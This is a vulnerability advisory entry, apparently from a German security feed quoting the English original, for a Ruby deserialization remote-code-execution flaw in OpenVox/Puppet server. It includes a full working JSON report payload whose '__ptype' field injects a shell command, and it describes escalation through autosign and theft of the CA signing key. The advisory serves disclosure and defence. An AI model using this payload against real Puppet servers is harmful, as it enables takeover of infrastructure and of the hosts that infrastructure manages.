- Veröffentlicht
- 03.11.2026 21:04
- Zuletzt geändert
- 03.11.2026
- EPSS (30 Tage)
- unbekannt
- CVSS-Vektor
- CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Beschreibung
Originaltext der Quelle, nicht übersetzt.
### Summary
Authenticated attackers with a OpenVox / Puppet client certificate can cause remote code execution on the OpenVox / Puppet server via a Ruby deserialize vulnerability.
### Details
OpenVox / Puppet agents can report “events” to the puppet server via the PUT `/puppet/v3/report` endpoint. The JSON encoded event will flow into the `Puppet::Pops::Serialization::FromDataConverter.convert` method located in [puppet/transaction/event.rb](https://github.com/OpenVoxProject/openvox/blob/a80dfc2c8ea83a76908ca8b99507dfa18a09f01a/lib/puppet/transaction/event.rb#L70-L73). The deserialize will then use [type = Types::TypeParser.singleton.parse(type_value, @loader)](https://github.com/OpenVoxProject/openvox/blob/a80dfc2c8ea83a76908ca8b99507dfa18a09f01a/lib/puppet/pops/serialization/from_data_converter.rb#L135) to read the `__ptype` and calls `.create(value)` on the attacker provided type. Eventually, [RubyGenerator.new.create_class(self)](https://github.com/OpenVoxProject/openvox/blob/a80dfc2c8ea83a76908ca8b99507dfa18a09f01a/lib/puppet/pops/types/p_object_type.rb#L557) is called, where [cls.class_eval(class_def)](https://github.com/OpenVoxProject/openvox/blob/a80dfc2c8ea83a76908ca8b99507dfa18a09f01a/lib/puppet/pops/types/ruby_generator.rb#L66) gives direct code execution on the openvox-server. The following full JSON event can be used to trigger the code execution:
```json
{
"host": "verify-ctrl-node.example.test",
"time": "2026-09-01T22:30:00.000000000+00:00",
"configuration_version": 1,
"transaction_uuid": "00000000-0000-0000-0000-0000000000aa",
"report_format": 12,
"puppet_version": "8.20.0",
"status": "changed",
"transaction_completed": true,
"noop": false,
"noop_pending": false,
"environment": "production",
"corrective_change": false,
"logs": [],
"metrics": {},
"resource_statuses": {
"Notify[x]": {
"resource": "Notify[x]",
"title": "x",
"resource_type": "Notify",
"provider_used": null,
"containment_path": [
"Stage[main]"
],
"file": null,
"line": null,
"evaluation_time": 0.001,
"change_count": 1,
"out_of_sync_count": 1,
"tags": [
"notify"
],
"time": "2026-09-01T22:30:00.000000000+00:00",
"out_of_sync": true,
"changed": true,
"skipped": false,
"failed": false,
"corrective_change": false,
"events": [
{
"__ptype": "Object[{name => 'PEP', functions => {'test' => {type => Callable, annotations => {RubyMethod => {'body' => \"1\\n end\\n `/bin/sh -c 'touch /tmp/pwned'`\\n def d2\\n 1\"}}}}}]",
"__pvalue": "x"
}
]
}
}
}
```
The above event will execute `touch /tmp/pwned` as the `puppet` user on the host or container the OpenVox / Puppet server is running. The backticks in the payload make it trigger during compile/eval time. In configuration with autosign (which is common for enterprise deployment), this is an unauthenticated attack chain to compromise the OpenVox / Puppet server, as a valid cert can be requested via the OpenVox / Puppet client enrollment endpoint. Code execution as `puppet` gives access to the CA signing key. This allows the attacker to sign a certificates with EKU critical, serverAuth, clientAuth, which could enable direct command execution on other hosts if certain kinds of orchestration is configured.
### Proof of concept
* Send the above JSON event with a valid client certificate authentication to PUT `/puppet/v3/report`
* Observe the execution of `touch /tmp/pwned` and the creation of the `/tmp/pwned` as puppet user
### Impact
Code execution on an openvox-server
### Related
This vulnerability also affects Puppet Enterprise, including impacts to other integrated components.
- `CVE-2026-115731 – Report Deserialization Code Execution – CVSS 4.0: 9.4 (Critical)`
Betroffene Pakete im beobachteten Stack
GitHubOpenVoxProject/openvox/OpenVox Agent9.3.0 and 8.32.0GHSA-ffr6-rwpm-p5wq
GitHubOpenVoxProject/openvox/OpenVox Server9.2.0 and 8.18.0GHSA-ffr6-rwpm-p5wq
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